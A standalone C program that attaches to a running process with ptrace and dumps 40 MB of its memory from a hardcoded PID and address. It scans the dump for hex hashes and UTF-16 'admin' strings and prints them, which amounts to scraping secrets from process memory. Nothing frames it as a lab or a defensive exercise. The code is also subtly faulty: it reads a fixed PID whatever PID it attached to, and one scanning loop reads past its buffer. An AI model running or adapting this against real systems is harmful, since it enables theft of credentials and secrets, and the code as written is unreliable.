#include <sys/ptrace.h>
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main(int argc,char**argv){
  int pid = argc>1 ? atoi(argv[1]) : 6136;
  long r = ptrace(PTRACE_ATTACH, pid, 0, 0);
  if(r<0){ perror("attach"); return 1; }
  waitpid(pid, NULL, 0);
  FILE*f=fopen("/proc/6136/mem","rb");
  if(!f){ perror("mem"); return 1; }
  unsigned long long addr=0x7fa19c000000ULL;
  fseek(f, (long)addr, SEEK_SET);
  size_t sz=40*1024*1024;
  unsigned char *buf=malloc(sz);
  size_t n=fread(buf,1,sz,f);
  fclose(f);
  printf("read=%zu\n", n);
  // scan for 40-char hex (sha1) in ascii
  int i; char hexs[80]; int hi=0;
  for(i=0;i<(int)n;i++){
    unsigned char c=buf[i];
    int ishex=(c>='0'&&c<='9')||(c>='a'&&c<='f')||(c>='A'&&c<='F');
    if(ishex){ if(hi<80){hexs[hi++]=c; hexs[hi]=0;} }
    else { if(hi>=32) printf("HEX(%d): %s\n", hi, hexs); hi=0; }
  }
  // UTF-16 strings: scan for 'a','d','m','i','n','p' patterns interleaved with 0
  for(i=0;i+2<(int)n;i++){
    if(buf[i]==(unsigned char)'a' && buf[i+1]==0 &&
       buf[i+2]==(unsigned char)'d' && buf[i+3]==0 &&
       buf[i+4]==(unsigned char)'m' && buf[i+5]==0 &&
       buf[i+6]==(unsigned char)'i' && buf[i+7]==0 &&
       buf[i+8]==(unsigned char)'n' && buf[i+9]==0){
      printf("U16 'admin' at %d: ", i);
      int j; for(j=i;j<i+160 && j<(int)n;j+=2){ if(buf[j]) putchar(buf[j]); }
      printf("\n");
    }
  }
  ptrace(PTRACE_CONT, pid, 0, 0);
  return 0;
}
